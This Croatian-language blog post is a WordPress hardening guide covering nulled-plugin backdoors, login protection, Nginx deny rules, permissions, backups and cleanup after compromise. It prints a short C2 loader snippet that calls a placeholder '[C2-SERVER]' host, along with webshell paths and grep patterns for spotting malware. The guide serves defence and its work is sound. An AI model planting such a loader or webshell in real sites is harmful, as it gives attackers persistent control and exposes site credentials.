Kako izgleda sigurna WordPress stranica

Kako izgleda sigurna WordPress stranicaKako izgleda sigurna WordPress stranica

7. svi. 2026. - 16 min

Roko Ponjarac

Roko Ponjarac

Software Engineer


WordPress pokreće preko 40% weba. Većina tih stranica dijeli iste sigurnosne rupe kao nulled plugin instaliran prije 6 mjeseci,wp-config.php s defaultnim table prefiksom, PHP datoteke koje se slobodno izvršavaju unutar uploads foldera, admin račun s korisničkim imenom "admin" i bez two-factor autentifikacije.

Ništa novo jer ovo je standardna konfiguracija na tisućama produkcijskih WordPress stranica upravo sada.

Ovaj vodič raščlanjuje svaki uobičajeni WordPress napada, objašnjava kako se obraniti od napada i napraviti sigurnu web stranicu. Svaka preporuka je testirana na produkcijskim instalacijama koje rade na CloudPanel VPS-u s Nginxom, PHP 8.3 i Varnishom. Ništa teoretsko.

Ako još uvijek koristite WordPress na shared hostingu, migracija na VPS je najveći infrastrukturni upgrade koji možete napraviti za sigurnost. Shared hosting znači zajednički rizik. Jedna kompromitirana stranica na serveru utječe na svaku drugu stranicu na istom stroju.

Backdoor iz nulled plugina

Ovo je pojedinačno najčešća ulazna točka za WordPress kompromitacije. Netko instalira "besplatnu" verziju premium plugina, GPL fork, crackani download, radi savršeno tjednima, ponekad mjesecima, te onda odjednom bum, stranice više nema.

Plugin dolazi s obfusciranim PHP kodom. Uspostavlja konekciju na command-and-control server, instalira webshell payload, i zapisuje ga na disk. Webshell postaje trajno pristupna točka napadača.

Odatle, napad slijedi predvidljiv uzorak. Napadač mapira strukturu stranice bez da to znaš. Zatim zamjenjuju index.php s C2 loaderom, deployaju 30+ webshell datoteka kroz wp-includes, wp-admin i plugin foldere, modificiraju .htaccess datoteke za redirect logiku, i bacaju ZIP arhive kao reinfection payloade.

Tipičan C2 loader izgleda ovako:

<?php
$api = "https://[C2-SERVER]/api";
$params['host'] = $_SERVER['HTTP_HOST'];
$params['ip']   = $_SERVER['REMOTE_ADDR'];
$content = @gzuncompress(base64_decode( h($api, $params) ));
echo $data;
die();

Webshellovi slijeću na lokacije gdje nikad ne biste pomislili provjeriti:

wp-includes/block-patterns/widgets/file.php
wp-includes/css/dist/editor/radio.php
wp-admin/network/images/index.php
wp-content/plugins/elementor/app/content.php
wp-content/uploads/wpo/logs/index.php
.well-known__91bba41/

Kroz webshell, napadač čita wp-config.php (vaše database credentials), piše nove datoteke, izvršava bash naredbe, i pivotira na druge stranice na istom serveru.

Rješenje. Obrišite svaki nulled ili piratizirani plugin i temu. Zamijenite ih legitimnim verzijama s WordPress.org repositorija ili direktno od vendora. Legitimna Elementor Pro licenca košta oko 59 EUR godišnje. Jedan incident čišćenja košta 8+ sati rada i reputacijsku štetu.

Crvene zastavice pri evaluaciji plugina: nije na WordPress.org i nije od priznatog vendora, zadnji update stariji od 2 godine, nema changelogga ili support foruma, manje od 1.000 aktivnih instalacija.

Terminal output pokazuje PHP webshell datoteke otkrivene u WordPress direktorijima tijekom malware scana

Slaba autentifikacija i brute force

/wp-login.php je prva meta za automatizirane napade. Botneti kruže kroz uobičajene kombinacije korisničkih imena i lozinki 24 sata dnevno. Ako admin račun koristi "admin" kao korisničko ime i slabu lozinku bez 2FA, stranica pada.

Rješenje. Slojevite obrane na login stranici.

Preimenujte login URL. Instalirajte Really Simple Security i promijenite /wp-login.php u custom path. Ovo eliminira noise od automatiziranih skenera.

Omogućite two-factor autentifikaciju. Wordfence Login Security podržava TOTP (Google Authenticator, Authy). Omogućite ga za svaki administrator račun. Spremite recovery kodove offline, ne na serveru.

Dodajte HTTP Basic Auth na wp-login.php (Nginx). Ovo stvara drugi sloj autentifikacije prije nego što se WordPress uopće učita:

apt install apache2-utils -y
htpasswd -c /etc/nginx/.htpasswd admin_user
location = /wp-login.php {
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
}

Rate limit login pokušaja (Nginx). Definirajte zonu izvan server blocka, zatim je primijenite:

limit_req_zone $binary_remote_addr zone=wp_login:10m rate=10r/m;

location = /wp-login.php {
    limit_req zone=wp_login burst=5 nodelay;
    limit_req_status 429;
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
}

Instalirajte Fail2Ban. Automatski ban IP-ova nakon 5 neuspjelih login pokušaja:

apt install fail2ban -y

cat > /etc/fail2ban/filter.d/wordpress-auth.conf << 'EOF'
[Definition]
failregex = ^<HOST> .* "POST /wp-login\.php
            ^<HOST> .* "POST /wp-admin/admin-ajax\.php
ignoreregex = ^<HOST> .* "POST /wp-login\.php HTTP/... 302
EOF

cat > /etc/fail2ban/jail.d/wordpress.conf << 'EOF'
[wordpress-auth]
enabled  = true
filter   = wordpress-auth
logpath  = /var/log/nginx/access.log
maxretry = 5
findtime = 600
bantime  = 86400
action   = iptables-multiport[name=wordpress, port="80,443", protocol=tcp]
EOF

systemctl restart fail2ban && systemctl enable fail2ban

Preimenujte admin korisničko ime ako netko još uvijek koristi "admin":

wp --path=/path/to/site db query \
  "UPDATE wp_users SET user_login='custom_name' WHERE user_login='admin';" \
  --allow-root

Promijenite Display Names da se razlikuju od korisničkih imena. Ovo sprječava user enumeration kroz author arhive.

Ekspozirane datoteke i opasni defaulti

WordPress dolazi s datotekama i endpointima otvorenim po defaultu. Napadači ih automatski skeniraju.

XML-RPC (xmlrpc.php). Ovaj legacy endpoint podržava brute force napade, DDoS amplifikaciju i SSRF. Osim ako vam specifično ne treba za Jetpack ili WordPress mobilnu app, blokirajte ga u potpunosti:

location = /xmlrpc.php {
    deny all;
    return 403;
    access_log off;
    log_not_found off;
}

File editing kroz wp-admin. Po defaultu, svatko s admin pristupom piše PHP kod direktno kroz theme i plugin editor. Napadač koji kompromitira jedan admin račun uploada malware kroz ugrađeni editor bez dodira servera. Onemogućite ga:

// wp-config.php
define('DISALLOW_FILE_EDIT', true);

Osjetljive datoteke ekspozirane na webu. readme.html, license.txt i wp-config.php nikada ne bi smjeli biti javno dostupni:

location ~* ^/(readme|license|changelog|readme\.html|readme\.txt|license\.txt)$ {
    deny all;
    return 404;
}

location = /wp-config.php {
    deny all;
    return 404;
}

location ~ /\. {
    deny all;
    return 404;
    access_log off;
    log_not_found off;
}

User enumeration putem ?author=1. Napadači queryaju yourdomain.com/?author=1 da otkriju admin korisnička imena:

if ($query_string ~ "author=[0-9]") {
    return 403;
}

Debug mode omogućen u produkciji. WP_DEBUG postavljen na true eksponira PHP greške, file pathove i database queryje svima koji posjete stranicu:

define('WP_DEBUG',         false);
define('WP_DEBUG_LOG',     false);
define('WP_DEBUG_DISPLAY', false);
define('SCRIPT_DEBUG',     false);

PHP izvršavanje u uploads folderu

wp-content/uploads/ direktorij prihvaća file uploade od korisnika. Ako napadač uspije uploadati PHP datoteku tamo (kroz ranjivi plugin, pogrešno konfiguriranu formu ili file upload exploit), server je izvršava.

Rješenje (Nginx):

location ~* /wp-content/uploads/.*\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$ {
    deny all;
    return 403;
    access_log off;
    log_not_found off;
}

Rješenje (Apache), kreirajte /wp-content/uploads/.htaccess:

<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

Testirajte:

echo "<?php phpinfo(); ?>" > /path/to/site/wp-content/uploads/test.php
curl -I https://yourdomain.com/wp-content/uploads/test.php
# HTTP/2 403 = blokirano. Radi ispravno.
rm /path/to/site/wp-content/uploads/test.php

Krive file permissions

Datoteke s 777 permissionima dozvoljavaju svima na serveru čitati, pisati i izvršavati ih. WordPress treba specifične permissione da funkcionira bez izlaganja.

chown -R www-data:www-data /path/to/site/
find /path/to/site -type d -exec chmod 755 {} \;
find /path/to/site -type f -exec chmod 644 {} \;
chmod 640 /path/to/site/wp-config.php

# Audit za preširoke permissione:
find /path/to/site -type f -perm 777
find /path/to/site -name "*.php" -perm -o+w

Direktoriji dobivaju 755. Datoteke dobivaju 644. wp-config.php dobiva 640 tako da ga samo vlasnik i grupa mogu čitati.

Security headeri koji nedostaju

Bez security headera, browser ne forsira HTTPS, dozvoljava clickjacking i ostavlja otvorena vrata za XSS napade.

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Content-Type-Options    "nosniff" always;
add_header X-Frame-Options           "SAMEORIGIN" always;
add_header X-XSS-Protection          "1; mode=block" always;
add_header Referrer-Policy           "strict-origin-when-cross-origin" always;
add_header Permissions-Policy        "camera=(), microphone=(), geolocation=(), payment=()" always;

Započnite HSTS s kratkim max-age (3600) i povećavajte ga postupno. CSP (Content-Security-Policy) je najjača XSS zaštita ali lomi inline skripte i stilove. Započnite s Content-Security-Policy-Report-Only da vidite što bi bilo blokirano prije enforceanja.

Verificirajte s curl -I https://yourdomain.com ili pokrenite domenu kroz securityheaders.com. Ako također rješavate cookie consent i data compliance uz security headere, ovaj vodič o cookie consentu i upravljanju podacima pokriva implementacijsku stranu.

Izloženost baze podataka

MySQL dostupan s interneta. Ako se MySQL binda na 0.0.0.0 umjesto na 127.0.0.1, bilo tko s pristupnim podacima se može spojiti s vanjskog računala:

grep bind-address /etc/mysql/mysql.conf.d/mysqld.cnf
# Mora pokazati: bind-address = 127.0.0.1

ss -tlnp | grep mysql
# Mora pokazati: 127.0.0.1:3306, NE 0.0.0.0:3306

WordPress koristi root za spajanje. Kreirajte namjenskog korisnika s minimalnim potrebnim privilegijama:

CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'random_password_20_plus_chars';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER
    ON wp_database.* TO 'wp_user'@'localhost';
FLUSH PRIVILEGES;

Defaultni table prefix. wp_ je prva meta za SQL injection. Postavite random prefix tijekom instalacije:

$table_prefix = 'xk7_';

Bez WAF-a, bez skeniranja, bez monitoringa

WordPress stranica bez WAF-a, Bez firewall pravila, bez malware skeniranja, bez trackinga login pokušaja je jako nesigurna stranica.

Nekoliko security plugina pokriva ovaj gap. Wordfence je najšire korišten, s ugrađenim firewallom, malware scannerom i login security modulom. Sucuri Security nudi cloud-based WAF i remote malware scanning, koristan ako želite firewall sloj izvan vašeg servera. SolidWP Security (bivši iThemes Security) dodaje file change detection, database backupe i brute force zaštitu. MalCare pokreće skenove na vlastitim serverima, smanjujući load na vašem, i uključuje one-click malware removal.

Za većinu WordPress instalacija, Wordfence Free pokriva esencijalno. Wordfence Premium dodaje stvarne firewall rule updatee i country blocking. Odaberite jedan i konfigurirajte ga pravilno umjesto gomilanja više security plugina (međusobno se sukobljavaju).

Instalirajte Wordfence i optimizirajte firewall:

Wordfence > Firewall > Manage WAF > Optimize the Wordfence Firewall

Ovo kreira .user.ini datoteku koja učitava firewall prije WordPressa. Bez toga, napadači koji pozivaju PHP datoteke direktno u potpunosti zaobilaze zaštitu.

Ako optimizacija ne uspije s permission errorom:

touch /path/to/site/.user.ini
chown www-data:www-data /path/to/site/.user.ini
chmod 664 /path/to/site/.user.ini

Konfigurirajte rate limiting (Firewall > All Firewall Options): blokirajte lažne Google crawlere, rate limit crawlere i ljude na 240/min, blokirajte IP-ove na 1 sat.

Konfigurirajte scan schedule (Scan > Scheduling): dnevni skenovi, email alerti samo kada se pronađu prijetnje.

Postavite email alerte (All Options > Email Alert Preferences): neuspjeli login pokušaji, lockoutovi, kritične ranjivosti, core file modifikacije, admin login s novih lokacija.

Postavite uptime monitoring. UptimeRobot (besplatan, 50 monitora, 5-minutni intervali) šalje email alerte kada stranica padne. Dodajte i homepage i /wp-login.php.

File integrity monitoring za manualnu verifikaciju:

# Generirajte checksumove kada je stranica čista:
find /path/to/site -name "*.php" -not -path "*/cache/*" | sort | xargs md5sum > /root/checksums-$(date +%Y%m%d).txt

# Uspoređujte tjedno:
md5sum -c /root/checksums-YYYYMMDD.txt 2>/dev/null | grep "FAILED"

Log analiza za detekciju napada u tijeku:

# POST requestovi izvan wp-admina (webshell pozivi)
grep "POST" /var/log/nginx/access.log | grep -v "wp-admin\|wp-login\|wp-cron" | tail -50

# 404 na PHP datotekama (napadač skenira za webshellove)
grep '"404"' /var/log/nginx/access.log | grep "\.php" | sort | uniq -c | sort -rn | head -20

Bez backup strategije

Stranica bez backupa je stranica koju gubite kada nešto krene po zlu. Slijedite 3-2-1 pravilo: 3 kopije, 2 različita medija, 1 offsite. Backup koji nikad niste testirali nije backup.

Automatizirani dnevni backup skripta:

#!/bin/bash
set -e

SITE_PATH="/home/xyz/htdocs/yourdomain.com"
BACKUP_DIR="/home/xyz/backups/yourdomain"
DB_NAME="your_database"
DB_USER="your_db_user"
DB_PASS="your_db_password"
RETENTION_DAYS=7
DATE=$(date +%Y%m%d_%H%M%S)

mkdir -p "$BACKUP_DIR"

mysqldump --user="$DB_USER" --password="$DB_PASS" \
  --single-transaction --routines --triggers --events \
  "$DB_NAME" | gzip > "/tmp/db_${DATE}.sql.gz"

tar -czf "${BACKUP_DIR}/backup_${DATE}.tar.gz" \
  --exclude="$SITE_PATH/wp-content/cache/*" \
  "/tmp/db_${DATE}.sql.gz" "$SITE_PATH" 2>/dev/null

rm "/tmp/db_${DATE}.sql.gz"
find "$BACKUP_DIR" -name "backup_*.tar.gz" -mtime +${RETENTION_DAYS} -delete

Zakazirajte sa cronom: 0 2 * * * /path/to/backup.sh

Offsite sync s rcloneom (Google Drive, S3, Backblaze):

rclone sync /home/xyz/backups gdrive:wp-backups/yourdomain --quiet
# Cron: 0 3 * * * (sat nakon lokalnog backupa)

Testirajte restore kvartalno. Extractajte backup, importajte bazu u test DB, verificirajte da se WordPress učitava. Ako nikad niste testirali restore, nemate backup.

Zastarjeli softver

Svaki zastarjeli plugin, tema ili WordPress core verzija je poznata ranjivost s objavljenim exploitom. Napadači automatiziraju skeniranje za ove.

# Prvo backup
wp --path=/path/to/site db export pre-update-$(date +%Y%m%d).sql --allow-root

# Updateajte sve
wp --path=/path/to/site plugin update --all --allow-root
wp --path=/path/to/site core update --allow-root
wp --path=/path/to/site theme update --all --allow-root

# Verificirajte da se stranica učitava
curl -sk https://yourdomain.com/ | grep -i "<!DOCTYPE" | wc -l

Obrišite neaktivne plugine i teme. Svaki neaktivni plugin je još uvijek izvršiva codebase na vašem serveru, dostupna bilo kome tko zna file path.

Za major version upgradeove, kreirajte puni backup, provjerite kompatibilnost, i pokrenite update tijekom sati s malo prometa. Verificirajte stranicu odmah nakon.

Higijena korisničkih računa

Previše administratora. Svaki admin račun je potencijalna ulazna točka. Primijenite princip najmanjih privilegija.

Content managerima dajte Editor rolu. Autorima dajte Author rolu. Klijentima koji samo trebaju čitati sadržaj dajte Subscriber. Rezervirajte Administrator za IT i development.

wp --path=/path/to/site user create client client@email.com --role=editor --allow-root

Zastarjeli računi. Bivši zaposlenici, stari izvođači radova, test računi. Auditirajte vašu user listu kvartalno i uklonite svakoga tko više ne treba pristup.

reCAPTCHA v3 na svim formama. Nevidljiv korisnicima, radi u pozadini, dodjeljuje score između 0.0 i 1.0. Postavite ga kroz Google reCAPTCHA admin panel (Score based v3) i integrirajte s Contact Form 7 ili vašim form pluginom.

Kada je stranica već kompromitirana

Ako nešto već ne valja, sekvenca je bitna. Dokumentirajte prvo, čistite drugo.

# Potvrdite kompromitaciju
grep -E "base64_decode|gzuncompress|eval\(|shell_exec|system\(" /path/to/site/index.php

# Izolirajte stranicu
wp --path=/path/to/site maintenance-mode activate --allow-root

# Verificirajte WordPress core integritet
wp --path=/path/to/site core verify-checksums --allow-root

# Pronađite malware datoteke
find /path/to/site/wp-content/uploads -name "*.php" -type f
find /path/to/site -name ".*" -type d | grep -v "\.git\|\.well-known$"
grep -rl "base64_decode" /path/to/site/ --include="*.php"
grep -rl "api.telegram.org" /path/to/site/ --include="*.php"

# Ako je core inficiran, reinstalirajte ga
wp --path=/path/to/site core download --force --allow-root

# Provjerite bazu za injektirani kod
wp --path=/path/to/site db query \
  "SELECT option_name FROM wp_options \
   WHERE option_value LIKE '%eval(%' OR option_value LIKE '%base64_decode%';" \
  --allow-root

# Provjerite za nepoznate admin račune
wp --path=/path/to/site user list --role=administrator --allow-root

Nakon čišćenja, rotirajte svaki credential: WordPress admin lozinke, database lozinke, salt keyeve (generirajte nove na api.wordpress.org/secret-key/1.1/salt/), hosting panel lozinke, SMTP credentiale, CDN API keyeve i FTP lozinke. Pretpostavite da je napadač pročitao wp-config.php i zna sve.

30-minutna lista prioriteta

WordPress security priority checklist pokazuje 7 esencijalnih koraka za hardening

Ako imate pola sata za osiguravanje WordPress stranice, slijedite ovaj redoslijed:

  1. Obrišite sve nulled ili piratizirane plugine i teme.
  2. Instalirajte Wordfence i pokrenite puni scan.
  3. Blokirajte PHP izvršavanje u uploads folderu.
  4. Promijenite sve lozinke (WP admin, database, hosting panel).
  5. Dodajte DISALLOW_FILE_EDIT u wp-config.php.
  6. Omogućite automatizirane backupe.
  7. Updateajte sve plugine i WordPress core.

Sve ostalo u ovom vodiču dodaje slojeve na ovaj temelj. Nijedna stranica ne doseže 100% sigurnost. Ali WordPress instalacija koja slijedi ove korake je drastično otpornija od defaultne konfiguracije.

Što dolazi dalje

WordPress sigurnost nije jednokratni setup. To je ponavljajući proces: updatei, skenovi, rotacija credentiala, testiranje backupa. Stranice koje ostaju sigurne su one s nekim tko ih aktivno prati.

Ako vaša WordPress stranica treba security audit, migraciju sa shared hostinga na pravilno konfiguriran VPS, ili kontinuiranu isporuku i podršku, javite se da zakažemo discovery call. Radimo s timovima koji pokreću WordPress u produkciji i znamo gdje su praznine.

Tražite dugoročnog digitalnog partnera?

Različite vještine, jedan tim, usredotočen na izgradnju pouzdanih digitalnih proizvoda i postajanje vašeg pouzdanog partnera.

5.0

Ivan
Roko
Ante
Luka
Toni

Tim koji vaše ideje pretvara u stvarne proizvode.

Kako izgleda sigurna WordPress stranica | Workspace